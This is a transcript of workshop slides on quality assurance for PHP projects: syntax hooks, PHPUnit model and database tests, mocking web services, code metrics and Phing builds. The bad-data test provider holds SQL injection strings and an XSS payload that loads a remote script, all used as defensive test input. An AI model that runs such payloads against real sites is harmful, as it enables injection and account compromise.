Workshop quality assurance for php projects - PHPNW Manchester 2014

Post on 22-Nov-2014

549 views 0 download

Tags:

description

Everyone talks about raising the bar on quality of code, but it's always hard to start implementing it when you have no clue where to start. With this talk I'm shooing that there are many levels developers can improve themselves by using the right tools. In this talk I'll go over each tool with examples how to use them against your codebase. A must attend talk for every developer that wants to scale up their quality. Most PHP developers deploy code that does what the customer requested but they don't have a clue about the quality of the product they deliver. Without this knowledge, maintenance can be a hell and very expensive. In this workshop I cover unit testing, code measuring, performance testing, debugging and profiling and give tips and tricks how to continue after this workshop.

Transcript of Workshop quality assurance for php projects - PHPNW Manchester 2014

QA for PHP projects

Michelangelo van Dam

Schedule Workshop

Introduction to Quality Assurance Revision control

Documenting Testing

Measuring Automating Team works!

#phpqa

Introduction to QA

Why QA?

Why QA

Safeguarding code

Detect bugs early

Observe behavior

Prevent accidents from happening

Tracking progress

Why invest in QA?

Keeps your code in shape

Measures speed and performance

Boosts team spirit

Saves time

Reports continuously

Delivers ready to deploy packages

Quality Assurance Tools

Revision Control

Subversion

GIT

github

Mercurial

Bazaar

FTP

Advantages of SCM

• team development possible • tracking multi-versions of source code • moving back and forth in history • tagging of milestones • backup of source code • accessible from - command line - native apps - IDE’s - analytical tools

TIP:  hooks  for  tools

Syntax Checking

php  -­‐l  (lint)

hAp://www.php.net/manual/en/features.commandline.opGons.php

PHP Lint

• checks the syntax of code • build in PHP core • is used per file - pre-commit hook for version control system - batch processing of files

• can provide reports - but if something fails -> the build fails

TIP:  pre-­‐commit  hook

Syntax

php -lf /path/to/filename.php

PHP  Lint  on  Command  Line

SVN Pre commit hook#!/bin/sh # # Pre-commit hook to validate syntax of incoming PHP files, if no failures it # accepts the commit, otherwise it fails and blocks the commit !REPOS="$1" TXN="$2" !# modify these system executables to match your system PHP=/usr/bin/php AWK=/usr/bin/awk GREP=/bin/grep SVNLOOK=/usr/bin/svnlook !# PHP Syntax checking with PHP Lint # originally from Joe Stump at Digg # https://gist.github.com/53225 # for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'` do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fi done

SVN  pre-­‐commit  hook

Documenting

Why documenting?

• new members in the team • working with remote workers • analyzing improvements • think before doing • used by IDE’s and editors for code hinting ;-)

Phpdoc2

Phpdoc2  class  details

Based  on  docblocks  in  code

And  the  output

Phpdoc2  class  relaGon  chart

Phpdoc2  on  your  project

Testing

Any reasons not to test?

Most common excuses

• no time • not within budget • development team does not know how • tests are provided after delivery • …

NO EXCUSES!

Maintainability

• during development - test will fail indicating bugs

• after sales support - testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it!

• long term projects - refactoring made easy

Remember

“Once a test is made, it will always be tested!”

Confidence

• for the developer - code works

• for the manager - project succeeds

• for sales / general management / share holders - making profit

• for the customer - paying for what they want

Unit testing PHP apps

Setting things up

Example phpunit.xml<phpunit        colors="true"    bootstrap="TestHelper.php”  stopOnFailure="true"  stopOnError="true"  syntaxCheck="true">  !    <testsuite  name="Mastering  PHPUnit">          <directory>./tests</directory>      </testsuite>  !    <blacklist><directory>../vendor</directory></blacklist>  !    <logging>          <log                type="coverage-­‐html"                target="./build/coverage"                charset="UTF-­‐8"                yui="true"                highlight="true"                lowUpperBound="35"                highLowerBound="70"/>      </logging>  </phpunit>

When using composer<phpunit        colors="true"      bootstrap="./vendor/autoload.php"      stopOnFailure="true"        stopOnError="true"        syntaxCheck="true">  !    <testsuite  name="Mastering  PHPUnit">          <directory>./tests</directory>      </testsuite>  !    <blacklist><directory>../vendor</directory></blacklist>  !    <logging>          <log                type="coverage-­‐html"                target="./build/coverage"                charset="UTF-­‐8"                yui="true"                highlight="true"                lowUpperBound="35"                highLowerBound="70"/>      </logging>  </phpunit>

TestHelper.php<?php !// set our app paths and environments !define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); !define('APPLICATION_PATH', BASE_PATH . '/application'); !define('TEST_PATH', BASE_PATH . '/tests'); !define('APPLICATION_ENV', 'testing'); !!// Include path !set_include_path( !    . PATH_SEPARATOR . BASE_PATH . '/library' !    . PATH_SEPARATOR . get_include_path() !); !!// Set the default timezone !!! !date_default_timezone_set('Europe/Brussels'); !!// We wanna catch all errors en strict warnings !error_reporting(E_ALL|E_STRICT); !!require_once 'Zend/Application.php'; !$application = new Zend_Application( !    APPLICATION_ENV, !    APPLICATION_PATH . '/configs/application.ini' !); !!$application->bootstrap();

Frameworks help

• Symfony • Zend Framework • Aura • Lithium • Laravel • …

Let’s get started…

Testing models

Testing business logic

• models contain logic - tied to your business - tied to your storage - tied to your resources

• no “one size fits all” solution

Type: data containers

• contains structured data - populated through setters and getters

• perform logic tied to it’s purpose - transforming data - filtering data - validating data

• can convert into other data types - arrays - strings (JSON, serialized, xml, …)

• are providers to other models

Comment Class

Writing model test<?php !class Application_Model_CommentTest extends PHPUnit_Framework_TestCase !{ !    protected $_comment; !    protected function setUp() !    { !        $this->_comment = new Application_Model_Comment(); !        parent::setUp(); !    } !    protected function tearDown() !    { !        parent::tearDown(); !        $this->_comment = null; !    } !    public function testModelIsEmptyAtConstruct() !    { !        $this->assertSame(0, $this->_comment->getId()); !        $this->assertNull($this->_comment->getFullName()); !        $this->assertNull($this->_comment->getEmailAddress()); !        $this->assertNull($this->_comment->getWebsite()); !        $this->assertNull($this->_comment->getComment()); !    } !}

This test won’t run!

Create a simple model<?php !!class Application_Model_Comment !{ !    protected $_id = 0; protected $_fullName; protected $_emailAddress; !    protected $_website; protected $_comment; !     !    public function setId($id) { $this->_id = (int) $id; return $this; } !    public function getId() { return $this->_id; } !    public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } !    public function getFullName() { return $this->_fullName; } !    public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } !    public function getEmailAddress() { return $this->_emailAddress; } !    public function setWebsite($website) { $this->_website = (string) $website; return $this; } !    public function getWebsite() { return $this->_website; } !    public function setComment($comment) { $this->_comment = (string) $comment; return $this; } !    public function getComment() { return $this->_comment; } !    public function populate($row) { !        if (is_array($row)) { !            $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); !        } !        if (isset ($row->id)) $this->setId($row->id); !        if (isset ($row->fullName)) $this->setFullName($row->fullName); !        if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); !        if (isset ($row->website)) $this->setWebsite($row->website); !        if (isset ($row->comment)) $this->setComment($row->comment); !    } !    public function toArray() { !        return array ( !            'id'           => $this->getId(), !            'fullName'     => $this->getFullName(), !            'emailAddress' => $this->getEmailAddress(), !            'website'      => $this->getWebsite(), !            'comment'      => $this->getComment(), !        ); !    } !}

We pass the test…

Really ???

Protection!

We Need Protection!

Little Bobby Tables

http://xkcd.com/327/

Is this your project?

Not all data from form!

• model can be populated from - users through the form - data stored in the database - a web service (hosted by yourself or 3rd-party)

• simply test it - by using same test scenario’s from our form

The nasty internet

https://www.owasp.org/index.php/Top_10_2013-Top_10

The good stuffpublic function goodData() !{ !    return array ( !        array ('John Doe', 'john.doe@example.com',  !               'http://example.com', 'test comment'), !        array ("Matthew Weier O'Phinney", 'matthew@zend.com',  !               'http://weierophinney.net', 'Doing an MWOP-Test'), !        array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',  !               'http://caseysoftware.com', 'Doing a monkey dance'), !    ); !} !/** ! * @dataProvider goodData ! */ !public function testModelAcceptsValidData($name, $mail, $web, $comment) !{ !    $data = array ( !        'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, !    ); !    try { !        $this->_comment->populate($data); !    } catch (Zend_Exception $e) { !        $this->fail('Unexpected exception should not be triggered'); !    } !    $data['id'] = 0; !    $data['emailAddress'] = strtolower($data['emailAddress']); !    $data['website'] = strtolower($data['website']); !    $this->assertSame($this->_comment->toArray(), $data); !}

The bad stuffpublic function badData() !{ !    return array ( !        array ('','','',''), !        array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), !        array (str_repeat('x', 1000), '', '', ''), !        array ('John Doe', 'jd@example.com', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), !    ); !} !/** ! * @dataProvider badData ! */ !public function testModelRejectsBadData($name, $mail, $web, $comment) !{ !    $data = array ( !        'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, !    ); !    try { !        $this->_comment->populate($data); !    } catch (Zend_Exception $e) { !        return; !    } !    $this->fail('Expected exception should be triggered'); !     !}

Let’s run it

Add input filters! (and don’t build it yourself!)

• Zend Framework 1: Zend_Filter_Input • Zend Framework 2: Zend\InputFilter • Symfony: Symfony\Component\Validator • Aura: Aura\Framework\Input\Filter • Lithium: lithium\util\Validator • Laravel: App\Validator • …

Modify our modelprotected $_filters; !protected $_validators; !!public function __construct($params = null) !{ !    $this->_filters = array ( !        'id' => array ('Int'), !        'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), !        'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), !        'website' => array ('StringTrim', 'StripTags', 'StringToLower'), !        'comment' => array ('StringTrim', 'StripTags'), !    ); !    $this->_validators = array ( !        'id' => array ('Int'), !        'fullName' => array ( !            new Zftest_Validate_Mwop(), !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'emailAddress' => array ( !            'EmailAddress', !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'website' => array ( !            new Zend_Validate_Callback(array('Zend_Uri', 'check')), !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'comment' => array ( !            new Zftest_Validate_TextBox(), !            new Zend_Validate_StringLength(array ('max' => 5000)), !        ), !    ); !    if (null !== $params) { $this->populate($params); } !}

Modify setters: Id & namepublic function setId($id) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('id' => $id)); !    if (!$input->isValid('id')) { !        throw new Zend_Exception('Invalid ID provided'); !    } !    $this->_id = (int) $input->id; !    return $this; !} !!public function setFullName($fullName) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('fullName' => $fullName)); !    if (!$input->isValid('fullName')) { !        throw new Zend_Exception('Invalid fullName provided'); !    } !    $this->_fullName = (string) $input->fullName; !    return $this; !}

Email & websitepublic function setEmailAddress($emailAddress) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('emailAddress' => $emailAddress)); !    if (!$input->isValid('emailAddress')) { !        throw new Zend_Exception('Invalid emailAddress provided'); !    } !    $this->_emailAddress = (string) $input->emailAddress; !    return $this; !} !!public function setWebsite($website) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('website' => $website)); !    if (!$input->isValid('website')) { !        throw new Zend_Exception('Invalid website provided'); !    } !    $this->_website = (string) $input->website; !    return $this; !}

and commentpublic function setComment($comment) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('comment' => $comment)); !    if (!$input->isValid('comment')) { !        throw new Zend_Exception('Invalid comment provided'); !    } !    $this->_comment = (string) $input->comment; !    return $this; !}

Now we’re good!

Exercise: Test for bad input<?php  namespace  Myapp\Common\User;      class  Service  {          public  function  login($username,  $password)          {                  $options  =  array  (                          'options'  =>  array  (                                  'default'  =>  false,                                  'regexp'  =>  '/^[a-­‐z0-­‐9]+$/',                          ),                  );                  $username  =  \filter_var($username,  FILTER_SANITIZE_STRING);                  if  (false  ===  \filter_var($username,  FILTER_VALIDATE_REGEXP,  $options))  {                          return  false;                  }                  //  continue  with  login  procedure                  return  true;          }  }

Exercise: Test for bad input<?php  namespace  Myapp\Common\User;      class  ServiceTest  extends  \PHPUnit_Framework_TestCase  {          public  function  badDataProvider()          {                  return  array  (                          array  ("1'  OR  1  =  1;",  'randompassword'),                  );          }              /**            *  @dataProvider  badDataProvider            */          public  function  testLoginCredentialsAreValid($username,  $password)          {                  $service  =  new  Service();                  $this-­‐>assertFalse($service-­‐>login($username,  $password));          }  }

Testing Databases

Integration Testing

• database specific functionality - triggers - constraints - stored procedures - sharding/scalability

• data input/output - correct encoding of data - transactions execution and rollback

Points of concern

• beware of automated data types - auto increment sequence ID’s - default values like CURRENT_TIMESTAMP

• beware of time related issues - timestamp vs. datetime - UTC vs. local time

The domain Model

• Model object • Mapper object • Table gateway object

Read more about it ☞

Change our test class

class Application_Model_CommentTest extends PHPUnit_Framework_TestCase

!becomes

!class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase

Setting DB Testing upprotected $_connectionMock; "!public function getConnection() "{ "    if (null === $this->_dbMock) { "        $this->bootstrap = new Zend_Application( "            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); "        $this->bootstrap->bootstrap('db'); "        $db = $this->bootstrap->getBootstrap()->getResource('db'); "        $this->_connectionMock = $this->createZendDbConnection( "            $db, 'zftest' "        ); "        return $this->_connectionMock; "    } "} "!public function getDataSet() "{ "    return $this->createFlatXmlDataSet( "        realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); "}

initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Testing SELECTpublic function testDatabaseCanBeRead() "{ "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Testing UPDATEpublic function testDatabaseCanBeUpdated() "{ "    $comment = new Application_Model_Comment(); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->find(1, $comment); "    $comment->setComment('I like you picking up the challenge!'); "    $mapper->save($comment); "     "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Testing DELETEpublic function testDatabaseCanDeleteAComment() "{ "    $comment = new Application_Model_Comment(); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->find(1, $comment) "           ->delete($comment); "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Testing INSERTpublic function testDatabaseCanAddAComment() "{ "    $comment = new Application_Model_Comment(); "    $comment->setFullName('Michelangelo van Dam') "            ->setEmailAddress('dragonbe@gmail.com') "            ->setWebsite('http://www.dragonbe.com') "            ->setComment('Unit Testing, It is so addictive!!!'); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->save($comment); "     "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>

Run Test

What went wrong here?

AUTO_INCREMENT

Testing INSERT w/ filterpublic function testDatabaseCanAddAComment() "{ "    $comment = new Application_Model_Comment(); "    $comment->setFullName('Michelangelo van Dam') "            ->setEmailAddress('dragonbe@gmail.com') "            ->setWebsite('http://www.dragonbe.com') "            ->setComment('Unit Testing, It is so addictive!!!'); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->save($comment); "     "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "    $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( "            $ds, array ('comment' => array ('id'))); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); "    $this->assertDataSetsEqual($expected, $filteredDs); "}

insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>

Run Test

• Database testing • is SLOW • is INTEGRATION • is IRRELEVANT

Use Faker

Faker generates data!<?php "namespace Project\Object; "!class EntryTest extends \PHPUnit_Framework_TestCase "{ "    protected $_faker; "    protected function setUp() "    { "        $this->_faker = \Faker\Factory::create(); "    } "    protected function tearDown() "    { "        $this->_faker = null;"    } "    public function testPopulateVehicleWithData() "    { "        $entry = array ( "            'mileage' => $this->_faker->numberBetween(1, 999999), "            'quantity' => $this->_faker->randomFloat(2, 0, 80), "            'unitPrice' => $this->_faker->randomFloat(3, 0, 5), "        ); "        $vehicle = new Vehicle(); "        $vehicle->getEntries()->add(new Entry($entry)); "        $this->assertEquals($entry, $vehicle->getEntries()->current()->toArray()); "    } "}

Testing web services

Web services remarks

• you need to comply with an API - that will be your reference

• you cannot always make a test-call - paid services per call - test environment is “offline” - network related issues

Example: joind.in

http://joind.in/api

JoindinTest<?php "class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase "{ "    protected $_joindin; "    protected $_settings; "     "    protected function setUp() "    { "        $this->_joindin = new Zftest_Service_Joindin(); "        $settings = simplexml_load_file(realpath( "            APPLICATION_PATH . '/../tests/_files/settings.xml')); "        $this->_settings = $settings->joindin; "        parent::setUp(); "    } "    protected function tearDown() "    { "        parent::tearDown(); "        $this->_joindin = null; "    } "}

JoindinTestpublic function testJoindinCanGetUserDetails() "{ "    $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; "    $this->_joindin->setUsername($this->_settings->username) "                   ->setPassword($this->_settings->password); "    $actual = $this->_joindin->user()->getDetail(); "    $this->assertXmlStringEqualsXmlString($expected, $actual); "} "!public function testJoindinCanCheckStatus() "{ "    $date = new DateTime(); "    $date->setTimezone(new DateTimeZone('UTC')); "    $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; "    $actual = $this->_joindin->site()->getStatus('testing unit test'); "    $this->assertXmlStringEqualsXmlString($expected, $actual); "}

Testing the service

Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response>

And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response>

Latency of the network 1s

Solution… right here!

Your expectations

JoindinTest<?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin();         $client = new Zend_Http_Client(); "        $client->setAdapter(new Zend_Http_Client_Adapter_Test()); "        $this->_joindin->setClient($client);" $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }

JoindinUserMockTestpublic function testJoindinCanGetUserDetails() {     $response = <<<EOS "HTTP/1.1 200 OK "Content-type: text/xml "!<?xml version="1.0"?> "<response> "  <item> "    <username>DragonBe</username> "    <full_name>Michelangelo van Dam</full_name> "    <ID>19</ID> "    <last_login>1303248639</last_login> "  </item> "</response>         "EOS; "    $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>';" $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }

JoindinStatusMockTestpublic function testJoindinCanCheckStatus() "{ "    $date = new DateTime(); "    $date->setTimezone(new DateTimeZone('UTC')); "    $response = <<<EOS "HTTP/1.1 200 OK "Content-type: text/xml "!<?xml version="1.0"?> "<response> "  <dt>{$date->format('r')}</dt> "  <test_string>testing unit test</test_string> "</response>         "EOS; "    $client = $this->_joindin->getClient() "                             ->getAdapter()->setResponse($response); "    $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; "    $actual = $this->_joindin->site()->getStatus('testing unit test'); "    $this->assertXmlStringEqualsXmlString($expected, $actual); "}

Good implementation?

Exercise

• Get the JoindIn API client from GitHub - see https://github.com/DragonBe/joindin-client

• Replace the current HTTP client adapter by a TEST adapter

• Provide the data for response • Run TEST to see difference

!

• NOTE: this client is already upgraded to v2.1

Testing it all

Testing it all

Our progress report

Conclusion

• unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote

Fork this code

http://github.com/DragonBe/zftest

Measuring

Code Analysis

Questions

• how stable is my code? • how flexible is my code? • how complex is my code? • how easy can I refactor my code?

Answers

• PHPDepend - Dependency calculations • PHPMD - Mess detections and code “smells” • PHPCPD - Copy/paste detection • PHPCS - PHP_CodeSniffer

PHP Depend

What?

• generates metrics • measure health • identify parts to improve (refactor)

pdepend pyramid

• CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes

!

• FANOUT: Number of Called Classes • CALLS: Number of Operation Calls

Cyclomatic Complexity

• metric calculation • execution paths • independent control structures - if, else, for, foreach, switch case, while, do, …

• within a single method or function • more info - http://en.wikipedia.org/wiki/

Cyclomatic_complexity

Average Hierarchy Height

The average of the maximum length from a root class to its deepest subclass

pdepend pyramid

Inheritance

few classes derived from other classes

lots of classes inherit from other classes

pdepend pyramid

Size and complexity

pdepend pyramid

Coupling

pdepend pyramid

High value

pdepend-graph

graph  about  stability:  a  mix  between  abstract  and  concrete  classes

PHP  Depend

PHP Mess Detection

What?

• detects code smells - possible bugs - sub-optimal code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties

PHPMD  in  ac;on

PHP Copy/Paste Detection

What?

• detects similar code snippets - plain copy/paste work - similar code routines

• indicates problems - maintenance hell - downward spiral of disasters

• stimulates improvements - refactoring of code - moving similar code snippets in common routines

PHP CodeSniffer

Required evil

• validates coding standards - consistency - readability

• set as a policy for development • reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code

• can be set as pre-commit hook - but can cause frustration!!!

Performance Analysis

https://twitter.com/#!/andriesss/status/189712045766225920

Automating

Key reason

“computers are great at doing repetitive tasks very well”

Repetition

• syntax checking • documenting • testing • measuring

Why Phing?

• php based (it’s already on our system) • open-source • supported by many tools • very simple syntax • great documentation

Structure of a build<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<project name="Application build" default="phplint">

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target>

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

</project>

build.propertiesproject.title=WeCycle phpbook:qademo dragonbe$ cat build.properties # General settings project.website=http://wecycle.local project.title=WeCycle !# AB Testing properties abrequests=1000 abconcurrency=10

local.propertiesproject.website=http://qademo.local abrequests=1000 abconcurrency=10 !db.username=qademo_user db.password=v3rRyS3crEt db.hostname=127.0.0.1 db.dbname=qademo

Let’s  run  it

Artifacts

• some tools provide output we can use later • called “artifacts” • we need to store them somewhere • so we create a prepare target • that creates these artifact directories (./build) • that gets cleaned every run

Prepare for artifacts <target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /> </target>

